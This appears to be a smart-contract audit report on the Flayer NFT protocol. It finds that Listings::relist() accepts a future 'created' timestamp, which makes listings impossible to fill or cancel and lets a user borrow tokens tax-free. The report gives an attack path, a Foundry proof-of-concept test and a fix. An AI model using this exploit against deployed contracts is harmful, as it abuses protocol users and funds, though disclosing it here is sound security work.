Large Mauve Parrot

High

# It's possible to create listings with an arbitrary start timestamp

### Summary

[Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) allows to create listings with an arbitrary starting time, allowing to create listings that cannot cannot be filled, modified, cancelled, relisted or reserved.

### Root Cause

The function [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) doesn't overwrite the `.created` input of the new listing, allowing the caller to create a listing with an arbitrary `.created` parameter. This can be used to create listings that cannot be filled, modified, cancelled, relisted or reserved 
because all of those functions internally call [_resolveListingTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918) which reverts for underflow when `.created` is bigger than the current `block.timestamp`:

```solidity
    if (block.timestamp < _listing.created + _listing.duration) {
        refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
    }
```

Crafting listings that cannot be changed allow users to borrow `1e18` collection tokens without risking their ERC721, which should generally be done via protected listings, while having the possibility of being refunded for the whole tax the moment `block.timestamp == .create`.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. Alice deposits an ERC721 in the locker via [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144).
2. Alice relists the just deposited ERC721 via [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) by passing as input a `.created` timestamp equal to the current block timestamp plus 30 days.
3. Alice received `1e18` collection tokens while her listing cannot be filled/relisted/reserved, plus she paid some taxes.
4. After exactly 30 days Alice calls [Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414), paying back `1e18` collcetion tokens while getting back a refund for the taxes she paid plus her ERC721.

### Impact

An attacker can craft listings that cannot be filled, modified, cancelled, relisted or reserved. This can be used to borrow collection tokens without paying fees/taxes.


### PoC

<details>
  <summary>To copy-paste in `Listings.t.sol`:</summary>

  ```solidity
function test_ExCanRelistFloorItemAsLiquidListing() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address _lister = alice;
    address payable _relister = payable(bob);
    uint _tokenId = 10;

    //Warp to have a big enough block.timestamp
    vm.warp(block.timestamp + 1000000);

    // Provide a token into the core Locker to create a Floor item
    erc721a.mint(_lister, _tokenId);

    vm.startPrank(_lister);
    erc721a.approve(address(locker), _tokenId);

    uint[] memory tokenIds = new uint[](1);
    tokenIds[0] = _tokenId;

    // Rather than creating a listing, we will deposit it as a floor token
    locker.deposit(address(erc721a), tokenIds);
    vm.stopPrank();

    // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
    // a straight 1:1 swap.
    ICollectionToken token = locker.collectionToken(address(erc721a));

    vm.startPrank(_relister);

    // Provide our filler with sufficient, approved ERC20 tokens to make the relist
    uint startBalance = 0.5 ether;
    deal(address(token), _relister, startBalance);
    token.approve(address(listings), startBalance);

    // Relist the floor item with a `created` field 30 days in the future
    listings.relist({
        _listing: IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: IListings.Listing({
                owner: _relister,
                created: uint40(block.timestamp + 30 days),
                duration: listings.MIN_LIQUID_DURATION(),
                floorMultiple: 101
            })
        }),
        _payTaxWithEscrow: false
    });

    vm.stopPrank();

    // Provide our filler with sufficient, approved ERC20 tokens to make the relist
    startBalance = 1 ether;
    deal(address(token), _relister, startBalance);
    token.approve(address(listings), startBalance);
    vm.startPrank(_relister);
    token.approve(address(listings), type(uint256).max);

    //It's impossible to cancel a listing with a future starting date
    vm.expectRevert();
    listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);

    //Warp 30 days in the future
    vm.warp(block.timestamp + 30 days);

    //Cancel listing and don't pay taxes
    listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
}
  ```
</details>

### Mitigation

In [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) overwrite the user provided `created` field with the current `block.timestamp`.